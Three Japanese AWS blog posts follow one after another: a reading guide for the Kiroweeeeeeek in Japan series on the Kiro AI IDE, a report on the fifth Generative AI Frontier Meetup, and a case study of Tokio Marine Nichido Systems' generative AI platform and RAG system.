こんにちは、ソリューションアーキテクトのいなりく㌔ 11 月 18 日から 29 日まで開催した「 Kiroweeeeeeek in Japan 」、たくさんの方にご参加いただき、ありがとうございました！この連載イベントは、 Kiro の一般提供開始 を記念して、日本のお客様に向けた特別企画として実施しました。 12 日間にわたり、AWS Japan の社員が「仕様駆動から実装・運用までの道筋」をテーマに、実践的な情報をお届けしてきました。Day1 の導入ガイドから始まり、移行方法、セキュリティ、ペアプログラミング、Shell スクリプト開発、CLI ツール、仕様駆動開発、チーム開発、そしてパートナーエコシステムとの連携まで、幅広いトピックをカバーしています。 このブログでは、公開された全 10 個のコンテンツを振り返りながら、「あなたの状況や関心に合わせて、どこから読むべきか」をガイドします。Day1 から順に読む必要はありません。あなたのニーズに合ったコンテンツから始めて、Kiro の可能性を最大限に引き出しましょう。 豆知識：「Kiro」という名前の由来 本題に入る前に、少しだけ豆知識を。 「Kiro」という名前、実は日本語の「岐路（きろ）」に由来しています。 岐路とは、道が分かれる場所、つまり「分岐点」や「重要な選択の瞬間」を意味します。ソフトウェア開発において、私たちは常に無数の選択に直面しています。どのアーキテクチャを採用するか、どの技術スタックを選ぶか、どのように問題を解決するか。これらの岐路での判断が、プロジェクトの成否を左右します。 Kiro は、まさにこの「岐路」に立つ開発者を支援するツールです。AI の力を借りて、複雑な選択肢を整理し、最適な道筋を見出す手助けをします。仕様駆動開発（Spec）という機能は、要件定義から設計、実装へと続く道のりを明確にし、「どこに向かっているのか」を常に意識しながら開発を進められるようにします。 また、岐路には「新しい可能性への入口」という意味も込められています。従来の開発手法から AI 駆動開発への転換点、個人開発からチーム開発への拡張、そして人間の創造性と AI の自動化が融合する新しい開発パラダイムへの入口。Kiro は、開発者が新しい時代の岐路に立ち、自信を持って一歩を踏み出せるよう設計されています。 「Kiro」という名前は、単なる選択ではなく、目的の表明です。開発の岐路に立つあなたを支え、イノベーションへの最適な道を共に見つけ出します。 あなたはどのタイプ？ペルソナ別おすすめガイド 1. 「Kiro を初めて使います」というあなたへ こんな方におすすめ Kiro を初めて使う Amazon Q Developer の経験もない どこから始めればいいかわからない おすすめの学習パス まずは Day 1: Kiro 導入ガイド：始める前に知っておくべきすべてのこと から始めましょう。このコンテンツでは、Kiro のプラン体系（Free/Pro/Pro+/Power）、請求方法、認証方式（IAM Identity Center、Builder ID、GitHub、Google）について整理されています。特に、「自分はどのプランが適しているのか」「AWS 請求に統合するにはどうすればいいのか」といった疑問に答えてくれます。 基本を理解したら、実践的な使い方を体験してみましょう。3 つの選択肢があります。 チーム開発に興味がある方 は Day 4: Kiro を使ったペアプログラミングのすすめ からはじめましょう。AWS 社内ハッカソンでの実践例を通じて、Kiro を使った新しい開発スタイルを学べます。ホワイトボーディングの画像認識、Agent Hooks による自動化、MCP ツールの活用など、具体的なノウハウが満載です。 インフラや運用が専門の方 は Day 5: インフラエンジニアのあなたも！Shell スクリプト開発で Kiro を使ってみよう からはじめましょう。「Kiro は自分には不要では？」と思っている方こそ読んでほしい記事です。ディスククリーンアップスクリプトの開発や既存スクリプトの改善を通じて、Kiro がインフラエンジニアにも役立つことを実感できます。Kiro の Spec モードを使うことで、「書いた本人しか理解できない」「動いているから触りたくない」という状況を避けられ、開発プロセスの中で自然とドキュメント（セットアップ手順、実行方法、ファイル構成を含む）が生成されます。また、エラーハンドリング、適切なログ出力、セキュリティ対策などのベストプラクティスが自動的に適用されたコードが生成されます。 ハンズオンで学びたい方 は Kiro 日本語ワークショップ で実際に手を動かしながら学べます。Kiro の基本的な使い方から、Spec 機能、Agent Hooks、MCP の活用まで、段階的に学習できる構成になっています。 2. 「Amazon Q Developer から移行したい」というあなたへ こんな方におすすめ Amazon Q Developer の IDE プラグインを使用中 Kiro への移行方法を知りたい 新機能を理解したい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、Amazon Q Developer と Kiro の関係性を理解しましょう。重要なポイントは、Amazon Q Developer Pro サブスクリプションを維持したままでも Kiro の一部機能（Kiro CLI / Kiro IDE を Pro 相当として）を利用できることです。ただし、上位プランへの変更には Kiro サブスクリプションへの手動アップグレードが必要です。 次に Day 2: Amazon Q Developer の IDE プラグインから Kiro に乗り換える準備 で、具体的な移行方法を学びましょう。このコンテンツでは、プロファイル移行（拡張機能、テーマ、設定、ショートカットの引き継ぎ）、Rules から Steering への進化、MCP の継続利用について詳しく解説されています。特に注目すべきは、Kiro の最大の特徴である「仕様駆動開発（Spec）」と「Agent Hooks」という新機能です。移行の準備ができたら、Kiro の真価を発揮する仕様駆動開発を体験してみましょう。 Day 7: イベントストーミングから要件・設計・タスクへ または Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec 機能の活用方法を深く理解できます。 3. 「組織での導入を検討している」というあなたへ こんな方におすすめ チームや組織での Kiro 導入を検討している セキュリティ、ガバナンス、請求管理が気になる エンタープライズ利用の要件を満たしたい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、プラン体系と請求統合の仕組みを理解しましょう。企業で利用する場合は、Kiro Pro プラン以上と AWS IAM Identity Center の組み合わせが推奨されます。これにより、AWS 請求に統合でき、組織単位での従量管理が可能になります。 次に Day 3: Kiro を組織で利用するためのセキュリティとガバナンス で、エンタープライズ利用のための統制機能を確認しましょう。このコンテンツでは、Kiro for enterprise の提供内容、データ保護（暗号化、サービス改善のオプトアウト）、利用状況の可視化、Overage と MCP の統制、ネットワーク設定（ファイアウォール、プロキシ、PrivateLink）について詳しく解説されています。特に重要なのは、Kiro for enterprise ユーザーはテレメトリとコンテンツ収集から自動的にオプトアウトされ、サービスの改善に利用されない点です。 組織での導入が決まったら、 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、チーム開発における Spec ファイルの管理方法を学びましょう。機能ごとの Spec 分割、バージョン管理、複数アプリ間での共通仕様の管理など、長期的に負債化しない開発体制を構築するためのベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も合わせて読みましょう。AWS Japan の新卒メンバーが 4 人チームで Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用、適切なタスク分解、技術的境界での Spec 分割など、チーム開発で Kiro を最大限活かすコツが紹介されています。 発注元として開発会社と協業している方は、 Day 10: スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー が特に参考になります。Kiro の圧倒的なスピードと GitLab + Amazon Bedrock による品質担保を組み合わせることで、「開発が速すぎてレビューが追いつかない」という課題を解決する新しいパートナーシップモデルが提案されています。発注元の非エンジニアでも AI の支援により仕様書レベルでの品質チェックが可能になり、早期段階での問題発見によるコスト削減を実現できます。 4. 「実践的な使い方を知りたい」というあなたへ こんな方におすすめ 基本は理解済み 実際の開発での活用方法を知りたい 具体的なユースケースや開発フローが見たい ターミナルベースの開発を好む おすすめの学習パス まず Day 4: Kiro を使ったペアプログラミングのすすめ で、AI 時代の新しい開発スタイルを体験しましょう。このコンテンツでは、AWS 社内ハッカソンでの実践例を通じて、Kiro を使ったペアレビューの効果（認知負荷の分散、即座のフィードバックループ）が紹介されています。ホワイトボーディングの画像認識、Agent Hooks による日英ドキュメント翻訳、MCP ツールの活用など、実践的なノウハウが満載です。 次に Day 7: イベントストーミングから要件・設計・タスクへ で、ビジネス分析から実装への橋渡しを学びましょう。イベントストーミングで可視化したビジネスフローを、Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが詳しく解説されています。EARS 記法での要件定義、プロパティベーステストの自動生成など、ドメイン駆動設計と相性が良いプラクティスが組み込まれています。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec ファイルの長期的な管理方法を理解しましょう。Day7 で Spec の作り方を学んだら、Day8 で管理方法を学ぶという流れです。機能ごとの Spec 分割、requirements.md からの変更適用、Vibe から Spec への変換、バージョン管理など、実践的なベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も必読です。AWS Japan の新卒メンバーが 4 人チームで約 2 ヶ月かけて Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用（技術選定とバージョン管理、Spec との連携、AI からのヒアリング促進）、適切なタスク分解（MVP 思考での Spec 分割、技術的境界での切り分け）など、チーム開発で Kiro を最大限活かすコツが詳しく紹介されています。 ターミナルベースの開発が好きな方は、 Day 6: Amazon Q Developer CLI から Kiro CLI へ：知っておくべき変更点 も合わせて読みましょう。ファジー検索機能（Ctrl+S で全コマンドを検索可能）、カスタムエージェント機能、スクリーンショット貼り付け機能（Ctrl+V でクリップボードの画像を直接チャットに貼り付け）、実験機能（ /knowledge 、 /thinking 、 /tangent 、 /todos 、 /checkpoint など）が紹介されています。CLI でも IDE でも、Spec 機能は同じように活用できます。 特に注目：Kiro の真価を発揮する「仕様駆動開発」 Kiroweeeeeeek in Japan の中でも、特に注目していただきたいのが Day7 と Day8 で紹介された「仕様駆動開発（Spec）」です。これは Kiro の最大の特徴であり、他の AI コーディングツールにはない革新的な機能です。 Day 7: イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。しかし、「どこから実装に落とし込むのか」「どうテストするのか」という部分は、開発者がつまずきやすいポイントでした。 Day7 のコンテンツでは、EC サイトの注文プロセスを題材に、イベントストーミングの成果物を Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが紹介されています。 コンテンツのハイライト： イベントストーミングの画像を Kiro に添付するだけで、要件の初版が生成される EARS 記法（WHEN / IF / THEN 形式）での構造化された要件定義 設計フェーズでのデータモデルとサービスメソッドの自動生成 プロパティベーステストの自動生成（「任意の〜に対して、〜すべきである」という形式） イベントストーミングの「〜したら、〜になる」という因果関係が、プロパティテストの「任意の〜に対して、〜すべきである」という考え方と相性が良い このコンテンツを読むことで、ビジネス分析から実装までの一貫した流れを理解でき、ドメイン駆動設計と相性が良いプラクティスを学べます。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 Spec ファイルは「仕様駆動開発」を構成する要素であり、仕様を起点として設計・実装を進めることで、仕様と実装の同期を保ちながら開発を進めることができます。しかし、正しく扱わないと負債になる可能性があります。 Day8 のコンテンツでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫が紹介されています。 コンテンツのハイライト： Spec の切り方 ：プロジェクト全体を一つの巨大な Spec ファイルで管理せず、機能ごとに分割する（例：user authentication、product-catalog、shopping-cart など） Spec の更新方法 ：requirements.md → design.md → tasks.md → 実装の順で更新し、一貫性を保つ。または、Vibe モードで実装してから Spec に変換する Spec の共有方法 ：バージョン管理により実装と実装意図をまとめて管理。複数アプリ間の共通仕様は専用リポジトリで一元管理 Day7 で Spec の作り方を学んだら、Day 8 で管理方法を学ぶという流れです。この 2 つのコンテンツを合わせて読むことで、Kiro の仕様駆動開発を実践的に活用できるようになります。 まとめ：Kiro で変わる開発パラダイム Kiroweeeeeeek in Japan を通じて、Kiro が単なる AI コーディングアシスタントではなく、開発パラダイムを変える可能性を持つツールであることをお伝えしてきました。 従来の AI コーディングアシスタントは、プロンプトを入力すればすぐにコードを生成してくれますが、そのコードが本当に要件を満たしているのか、どのような設計判断がなされたのかは不透明でした。Kiro の仕様駆動開発は、この問題を解決します。要件（Requirements）、設計（Design）、タスク（Tasks）という 3 つのフェーズを経て、構造化された開発プロセスを実現し、仕様と実装の同期を保ちながら開発を進めることができます。 また、Agent Hooks による自動化、MCP による外部システム連携、Steering によるプロジェクト固有のルール適用など、チーム開発を支援する機能も充実しています。Kiro は、個人の生産性向上だけでなく、チーム全体の開発効率と品質を向上させるツールとして設計されています。 次のステップ Kiroweeeeeeek in Japan のコンテンツを読んで、Kiro に興味を持っていただけたでしょうか？ 次のステップとして、以下のアクションをおすすめします。 Kiro をダウンロード Kiro の公式サイト から Kiro IDE または Kiro CLI をダウンロード しましょう。まずは Free プランから始めて、基本的なコード生成機能や仕様駆動開発を体験できます。 自分のペルソナに合ったコンテンツから読み始める このブログで紹介したペルソナ別ガイドを参考に、あなたに最適なコンテンツから読み始めましょう。すべてのコンテンツを読む必要はありません。必要な情報から順に学んでいきましょう。Kiroweeeeeeek in Japan で公開された記事に関しては定期的にお客様からいただいた質問をベースに可能な限りメンテナンスしていく予定です。ぜひお気に入りなどに登録しておいてください。 実際に Kiro を使って開発を試す 小さなプロジェクトから始めて、Kiro の Spec 機能や Agent Hooks を試してみましょう。実際に使ってみることで、Kiro の真価を実感できます。 コミュニティに参加 X（旧 Twitter）で #kiroweeeeeeek をつけて、あなたの体験や疑問を共有してください。どんな業界・規模・開発スタイルの方からの投稿も大歓迎です。AWS Japan チームも引き続き情報発信を続けていきますので、ぜひフォローしてください。Kiro は、生成 AI とエージェント時代における新しい開発パラダイムを提案しています。この Kiroweeeeeeek in Japan が、皆さまの開発体験を向上させる一助となれば幸い㌔ それでは、Kiro を使った新しい開発の旅を楽しんで㌔

アマゾン ウェブ サービス ジャパン（以下、AWS ジャパン）が 2024 年 7 月に発表した「 生成 AI 実用化推進プログラム 」は、生成 AI の活用を支援する取り組みです。基盤モデルの開発者向けと、既存モデルを活用する利用者向けの 2 つの枠組みを提供し、企業の目的や検討段階に応じた最適な支援を行ってきました。また、2025 年 4 月から生成 AI 活用の戦略策定段階からご支援する「戦略プランニングコース」も提供を開始しております。 その「生成 AI 実用化推進プログラム」の参加者や、GENIAC（Generative AI Accelerator Challenge）の関係者、生成 AI に関心を持つ企業が一堂に会する「生成 AI Frontier Meetup」が、2025 年 11 月 17 日に開催されました。2024 年 11 月 15 日の 第 1 回 、2025 年 2 月 7 日の 第 2 回 、2025 年 4 月 16 日の 第 3 回 、2025 年 8 月 26 日の 第 4 回 に続き、今回が第 5 回となります。本記事では、イベントの模様をレポートします。 本イベントの司会進行は、AWS ジャパン 事業開発統括本部 グロース事業開発本部長の塚本 陽子が務め、全体を通じて登壇者の紹介やセッションの案内を行いました。 開会のご挨拶 イベントの冒頭では、AWS ジャパン 事業開発統括本部の飯島 恵介がご挨拶をしました。 「生成 AI 実用化推進プログラム」では、2024 年の開始から現在までに、累計で 250 社を超えるお客様を支援してきました。また、「 AWS Generative AI Accelerator 」では日本から 2024 年は 3 社、2025 年は 2 社のお客様を支援。経済産業省と NEDO が主導する「GENIAC」では第 2 期・第 3 期ともに 13 社の事業者を支援していることにも触れました。 加えて、市場のニーズや技術的な潮流を踏まえ、「生成 AI 実用化推進プログラム」を柔軟に変更している点も語られました。2025 年 4 月に「戦略プランニングコース」を新設、6 月には「モデルカスタマイズコース」と「モデル活用コース」を拡充しましたが、その内容をさらに改善しました。「モデルカスタマイズコース」には「GENIAC-PRIZE 応募者支援」、「モデル活用コース」には「Agentic AI 実用化推進」のメニューを追加しています。 飯島は Agentic AI の関連情報についても触れ、AI エージェントを安全かつ大規模に展開するための Amazon Bedrock AgentCore や、データ分析からインサイト獲得までを統合的に支援する Amazon Quick Suite といった最新サービスを紹介しました。 最後に、本イベントが 5 回目を迎えたことへの感謝を伝え、参加者同士の交流を通じてコミュニティ全体が発展していくことへの期待を示し、挨拶を締めくくりました。 AWS セッション ここからは、二部構成で AWS セッションを進行しました。 前半パートでは、特別ゲストとして来日した Anthropic 社の Member of Technical Staff である Jason Kim 氏（写真左）と、AWS ジャパン Data & AI 事業統括本部 事業開発マネージャーの田村 圭（写真右）によるディスカッションが行われました。 セッションの冒頭では、Anthropic 日本法人設立の背景として Jason 氏が 3 つの点を挙げました。第一に、日本にはすでに強力な顧客・パートナー基盤が存在していること。第二に、「倫理的で安全な AI の研究を進める」という同社の理念と、日本のエンタープライズ企業が期待する「責任ある AI」への姿勢が合致したこと。そして第三に、政府や公共機関との連携を含めた、今後の協業への大きな期待があったことです。 話題が Claude Code の具体的な活用法に移ると、Jason 氏は各種のユースケースを紹介しました。特に強調されたのが「マルチエージェント」というコンセプトです。Anthropic 社内では、一人のエンジニアが複数の Claude Code を同時に利用し、それぞれに「プロジェクトマネージャー」「バックエンドエンジニア」「セキュリティ専門家」といった異なる役割を与え、協調させて開発を進めているとのことです。 さらに、Anthropic 社においてロボティクスの専門知識がないチームが、Claude Code を用いてわずか 6 時間でロボット犬のプログラミングに成功した事例も紹介しました。汎用的なコーディングだけでなく、ハードウェア制御のような専門領域でもその能力を発揮できると、Claude Code のポテンシャルを強く印象付けました。 セッション後半では、AWS ジャパン AI/ML Specialist SA の石見 和也が登壇。Anthropic 社のCoding AgentであるClaude Codeを、AWSと組み合わせて安全かつ効率的に活用するための具体的なソリューションを提示しました。 石見氏は、企業ごとの要件に合わせた Claude Code の利用形態として、「 Amazon Bedrock の API との連携」と「 AWS Marketplace 上での Claude for Enterprise の購入」という 2 つの選択肢を紹介しました。前者は、データを AWS 内に閉じて管理できることや、従量課金での利用が可能になるメリットがあります。後者は、AWS Marketplace で Claude の定額プランを購入することで、予算管理や社内承認プロセスを簡素化できる点が利点だと説明しました。 終盤では、日本国内で Claude Code と Amazon Bedrock を組み合わせた導入プロジェクトが増加していることに触れ、企業の生成 AI 活用が本格化するフェーズに入りつつあることを示しました。 プログラム参加者によるライトニングトーク ここからは、生成 AI 実用化推進プログラムに参加する各社の代表者が登壇し、AWS のサービス利用を軸にした取り組みを紹介しました。AWS ジャパン サービス & テクノロジー事業統括本部 技術本部長の小林 正人（写真左）と、AI/ML Specialist SA の飯塚 将太（写真右）がモデレーターを務め、登壇者に質問を投げかけつつ進行しました。 株式会社ドワンゴ技術本部 Dwango Media Village 部長の小田桐 優理 氏は、麻雀の対局の全履歴である「牌譜」の続きを予測することで、麻雀のあらゆる事象を統合的に理解するモデルについて紹介しました。Amazon Bedrock で利用可能な Qwen3 をベースモデルに選択し、 AWS ParallelCluster を活用して大規模な学習を実施しています。将来的には、麻雀についての深い議論ができたり麻雀における反実仮想的な思考 (もし〜だったら？) 等ができる、麻雀の世界を深く理解した麻雀 AI の様々な応用を目指しています。 株式会社 JPX 総研 IT ビジネス部 統括課長の太子 智貴 氏は、自然言語検索による適時開示情報へのアクセス改善に向けた取り組みを紹介しました。Amazon OpenSearch Service と Claude を組み合わせ、表記ゆれや類義語を吸収した多言語での柔軟な検索を実現しています。また、開発には AWS CDK を導入しており、生成 AI によるコーディングで開発サイクルを高速化することで、変化の速い AI 分野に迅速に対応できる体制を整えています。 ネットイヤーグループ株式会社 第 2 事業部 第 2 デジタルインテグレーション部 第 6 チームチームマネジャーの峰村 仁子 氏は、対話型 AI と専門家のサポートによるインタビュー支援サービス「AI Deep Insights」のエピソードを紹介。ユーザーインサイトの把握に不可欠なインタビュー調査には、時間やコスト、手間がかかります。この課題を解決するため「AI Deep Insights」を開発し、根拠に基づいたインサイト分析を実現しました。 株式会社ディー・エヌ・エー IT 本部  IT 戦略部の田中 誠也 氏は、社内ヘルプデスクの AI 活用を推進した事例を発表しました。もともとは内製の RAG システムを使用していましたが、問い合わせへの回答精度に課題がありました。そこで、チャンク化戦略など精度向上に不可欠な高度な機能が標準搭載されている Amazon Bedrock  ナレッジベース を導入。内製時の知見を活かして短期間でチューニングを行い、回答精度を向上させました。 株式会社ネットプロテクションズ ソリューションアーキテクトグループ/生成 AI WG 統括責任者の田中 哉太 氏は、カスタマーエクスペリエンス向上に向けた AI 活用について、MVP アプローチによる導入事例が発表されました。既存の FAQ をナレッジソースとし、対象領域を絞って段階的に開始することで、安全な導入と知見の獲得を実現し、顧客対応の効率化と応答時間の短縮に成功しました。 株式会社 情報戦略テクノロジー AI Officer の藤本 雅俊 氏は、社内に分散した知見を集約する AI エージェント「パイオにゃん」の開発事例を発表しました。同サービスは、Slack や Google カレンダー等の複数ツールと連携し、社員一人ひとりに伴走する AI コンシェルジュとして機能します。開発では Amazon Bedrock ナレッジベースや Strands Agentsに加え、ソフトウェア開発生成 AI アシスタント Amazon Q Developer を全面的に活用しました。 開発者のモデルご紹介 ここからは、基盤モデルを開発する各社の代表者が登壇しました。 SDio 株式会社 PM の竹岡 良輔 氏は、同社が開発する大規模映像基盤モデル DeepFrame について紹介しました。このモデルは人間のように、数時間以上の長尺映像を「点」ではなく「ストーリー」として深く理解することを目指しています。この技術を応用し、TV コンテンツを秒単位で検索できる AI 検索プラットフォーム「TVPulse」を展開しています。 カラクリ株式会社 R&D team Lead の武藤 健介 氏は、カスタマーサポート領域における LLM 開発の取り組みを発表しました。 AWS Trainium を駆使し、コストを抑えながら大規模モデルを開発。特に、API 連携なしに人間のように PC 画面を視覚的に操作する Computer-Using Agent の開発に注力しています。セッション内では、顧客管理システムを自動で操作してメール返信するデモを披露しました。 登壇者の皆様 クロージング AWS ジャパン 事業開発統括本部 生成 AI 推進マネージャーの梶原 貴志がクロージングを行いました。来年も「生成 AI Frontier Meetup」を開催すると言及し、加えて近日開催予定の生成 AI 関連のイベントもご案内しました。 AWS re:Invent  ～AWSが主催するグローバルなクラウドコンピューティングコミュニティのための「学習型カンファレンス」～ 1 週間にわたるイベント期間中、画期的な基調講演、ハンズオンの技術セッション、対話形式の学習機会を通じて、クラウドのパイオニアや革新者たちが、クラウド移行から生成 AI に至るまで、世界を変える画期的なソリューションを生み出します。 イベント概要 日時: 2025 年 12 月 1 日～5 日 開催地: 米国・ラスベガス https://reinvent.awsevents.com/ AWS Black Belt Online Seminar 2025 年 AWS re:Invent 速報 AWS re:Invent の会期中に発表された新サービス・新機能を 1 時間で網羅してご紹介。 イベント概要 日時: 2025年 12 月 5日 (金) 12:00～13:00 JST 開催方式: オンライン https://pages.awscloud.com/blackbelt-online-seminar-reinvent-recap-2025-reg.html Amazon Q Developer & Kiro Meetup #5  ～AWS re:Invent アップデート速報 & お客様の活用事例紹介～ AWS re:Invent でアップデートのあった Amazon Q Developer および Kiro の解説と、お客様による Amazon Q Developer および Kiro の実践事例をご紹介。また後半では、現地にお越しいただいた方のネットワーキングの時間も用意しております。 イベント概要 日時: 2025 年 12 月 15日 (月) 19:00～21:00 (18:30 受付開始) 開催方式: ハイブリッド (前半講演のみ) https://aws-experience.com/apj/smb/event/e911ba36-4350-4bcc-8bd7-12611befa9bc 参加者交流会の様子 交流会では、各セッションで共有された事例を起点に、登壇者と参加者が自由に意見を交わす様子が目立ちました。生成 AI 導入における工夫や課題、今後の方向性をめぐって熱心な議論が続き、会場全体に活気があふれていました。業種や役割を超えたネットワーキングも進み、実務で得た知見を共有しながら、新たな連携や共創の芽が育まれる場となりました。 会場内には、全般的な質問に応じる「よろず相談」、技術的な相談に応じる「Ask an Expert」コーナーも設けられ、ご参加のお客様の質問に回答いたしました。 おわりに 本イベントは、生成AIの社会実装に向けた最新の取り組みや、具体的な業務活用の事例が数多く紹介され、現場で役立つ学びを得られる有意義な時間となりました。AWS ジャパンは、今後も業界横断での交流や技術支援を通じて、企業の生成 AI 活用を後押しし、持続的な実用化に貢献していきます。

はじめに 東京海上日動システムズ株式会社様（以下、同社）では、生成 AI を活用した継続的な変革に取り組まれています。これまで、 生成AIによるアプリケーションモダナイゼーション や AI-DLC（AI-Driven Development Life Cycle）による開発変革 について紹介してきましたが、本ブログでは、同社の生成 AI 活用のもう一つの重要な取り組みである、全社向けの生成 AI アプリケーション実行基盤の構築についてご紹介します。 特に、RAG（Retrieval-Augmented Generation）システムの構築における技術選定と実装の工夫は、同様のプロジェクトを検討されている企業の皆様にとって有益な知見となるはずです。 全社生成 AI 実行基盤の構想 プロジェクトの背景と目的 同社は、全社向けの生成 AI アプリケーション実行基盤の構築に取り組みました。このプラットフォームは、生成 AI アプリケーションのガバナンス機能、データ、ビジネスロジック等を共通化することで、アプリケーション開発の品質と速度を向上させることを目的としており、生成 AI アプリケーション構築における中核プラットフォームとしての役割を担います。 アーキテクチャの特徴 同社はマルチアカウント構成によるスケーラビリティを重視した設計を採用しました。各生成 AI アプリケーションを独立したアカウントで運用することで、障害や負荷の影響を分離できます。また、Amazon Bedrock などの AWS サービスにはアカウント単位でリクエスト数などのクォータが設定されていますが、アカウントを分離することで各アプリケーションが独立してクォータを利用でき、スケーラブルな運用が可能になります。 一方、共通 GW アカウントでは、入出力のフィルタリングやログの監視などのガバナンス機能を集約して提供します。これにより、全社で統一されたセキュリティポリシーとコンプライアンス要件を満たしながら、各アプリケーションが安全に生成 AI を活用できる環境を実現します。 全社生成 AI 実行基盤のアーキテクチャ RAG システムの構築 システムの概要 プラットフォーム上で動作する生成 AI アプリケーションの１つとして、同社は RAG システムを開発しています。このシステムは、複数のデータソース（社内 FAQ サイト、社内マニュアル、過去の問い合わせ履歴など）を統合し、高精度な情報検索と回答生成を実現します。 この RAG システムの構築において、同社はいくつかの技術的な工夫を行いました。 ドキュメント解析：Foundation Model Parsing の活用 このシステムで扱う社内マニュアルは、二段組レイアウト、図表とテキストの混在、階層的な情報構造など、非常に複雑な特徴を持っています。このような複雑なレイアウトを正確に理解し、適切な形式で情報を抽出するため、Amazon Bedrock Knowledge Bases の Foundation Model Parsing を採用しました。 この機能は、Anthropic Claude などの高度な基盤モデルを活用したマルチモーダル機能により、PDF や画像ファイル内のテキスト、図表、画像などを理解し、抽出します。Claude の高度な視覚理解能力により、複雑な文書構造を正しい順序で抽出し、注釈や図表の説明を適切な位置に配置することで、高精度な情報検索と回答生成が可能となりました。 以下は、Claude Sonnet 4 を利用した Foundation Model Parsing による抽出の様子を示すサンプルです。実際の同社のマニュアルではありません。左側のページの画像から、右側のように構造化されたテキストが抽出されます。 <markdown> # 1 複合機の基本操作方法 ※これはサンプルです 本ドキュメントはレイアウトサンプルであり、実際のお客様のマニュアルではありません。 オフィスで使用する複合機の基本的な操作方法について説明します。注1 (1) コピー機能を使用する場合は、原稿台に原稿をセットし、コピー枚数を指定してスタートボタンを押します。注2 また、以下の機能も利用できます。 ① 両面コピー機能を使用する場合 注3 ② カラーコピーを行う場合 注4 ③ 拡大・縮小コピーを行う場合 ④ 複数ページを1枚にまとめる集約コピー 注5 ⑤ ホチキス止めなどの仕上げ機能を使用する場合 注6 <figure> <figure_type>Diagram</figure_type> ## コピー操作の流れ このフローチャートは複合機でのコピー操作の手順を示しています。原稿セットから開始し、設定選択を経て最終的にスタートボタンを押すまでの流れを図示しています。 原稿を原稿台ガラス面に下向きにセット ↓ テンキーでコピー枚数を入力 ↓ カラーコピーを使用しますか？ （はい/いいえの分岐） はい → 「カラー」を選択 いいえ → 「白黒」を選択 ↓ 両面印刷を行いますか？ （はい/いいえの分岐） はい → 綴じ方向を選択（長辺綴じ/短辺綴じ） 長辺綴じ → 長辺綴じ設定 短辺綴じ → 短辺綴じ設定 いいえ → 片面印刷設定 ↓ 緑色のスタートボタンを押す </figure> **注1** 複合機とは、コピー、プリント、スキャン、FAXなどの機能を1台に統合した機器のことです。各機能は操作パネルから選択できます。 **注2** 原稿台は機器上部のガラス面です。原稿を下向きにセットし、サイズガイドに合わせて配置してください。 **注3** カラーコピーを行う場合は、操作パネルで「カラー」を選択します。モノクロより時間がかかります。 **注4** 拡大・縮小は25%～400%の範囲で設定できます。よく使う倍率（A4→A3など）はプリセットから選択可能です。 **注5** 集約コピーは、複数ページを1枚の用紙にまとめる機能です。2in1、4in1などが選択できます。 **注6** 仕上げ機能では、ホチキス止め、パンチ穴あけなどが自動で行えます。注7 オプション装置が必要な場合があります。 **注7** 仕上げ機能の詳細については、機器の取扱説明書を参照してください。 </markdown> このように、二段組テキストの統合、フローチャート図の構造化、注釈の対応付けが正確に行われ、検索時に適切なコンテキストを提供できる形式で抽出されています。 検索精度の最適化：ハイブリッドアーキテクチャ 同社が複数のデータソースで検証を行った結果、Embedding モデル（テキストをベクトル化して数値表現に変換し、意味的な類似性を計算できるようにするモデル）の違いによって検索精度が異なることが判明しました。特に、一部のデータソースでは、Amazon Bedrock Knowledge Bases で提供されているモデルよりも、オープンソースの Embedding モデルの方が高い検索精度を示しました。 そこで同社は、このオープンソースの Embedding モデルを活用するため、Amazon SageMaker AI を活用する方針としました。Amazon SageMaker AI は、独自のモデルをホスティングしてインフラを詳細に制御できる機械学習サービスで、Amazon Bedrock では提供されていないオープンソースモデルを柔軟に利用できます。 同社は、データソースの特性に応じて最適なアプローチを選択するハイブリッドアーキテクチャを構築しました。社内マニュアルのようなレイアウトが複雑なファイルを扱うデータソースについては、Amazon Bedrock Knowledge Bases を活用し、Foundation Model Parsing によるデータ抽出からベクトル化、データベース格納までをマネージドサービスで処理します。一方、オープンソースの Embedding モデルが高精度を示したデータソースについては、AWS Step Functions でデータ抽出、チャンキング、ベクトル化、データベース格納といったドキュメント登録処理のワークフローを構築し、ベクトル化には Amazon SageMaker AI でホストした Embedding モデルを活用する独自実装の RAG としました。このハイブリッドアーキテクチャにより、各データソースに最適化された高精度な検索を実現しています。 大量ドキュメントの高速登録：二段階の並列制御 独自実装の RAG では、ドキュメントの変更や追加時に、テキスト抽出、チャンキング、ベクトル化、データベース格納という一連の処理を実行します。数千から数万のファイルを高速に処理するため、同社は並列処理を活用していますが、単純に並列度を上げるだけでは ベクトル化を行う Amazon SageMaker AI エンドポイントの処理能力を超えてしまいます。 AWS Step Functions と Amazon SageMaker AI を組み合わせたデータ処理パイプラインを構築し、エンドポイントの処理能力を考慮した二段階の並列制御を実装しました。 定期的なバッチ処理で S3 バケットにファイルが配置されると、それをトリガーとして AWS Step Functions ステートマシンが起動され、ドキュメント登録処理が開始されます。複数のファイルが同時に配置された場合は複数のステートマシンが並列で起動されますが、Amazon DynamoDB を使用したロック機構により同時実行数を制御しています。 次に、各ステートマシン内では、Distributed Map を活用して 1 ファイル内の数百〜数千のチャンクを並列処理します。Amazon SageMaker AI エンドポイントのインスタンス数を増やすことで、より多くのチャンクを同時にベクトル化でき、処理時間を短縮できます。 この二段階の制御により、ファイル単位でのエラーハンドリングを維持しながら、チャンクレベルでは大規模な並列処理による高速化を実現しています。 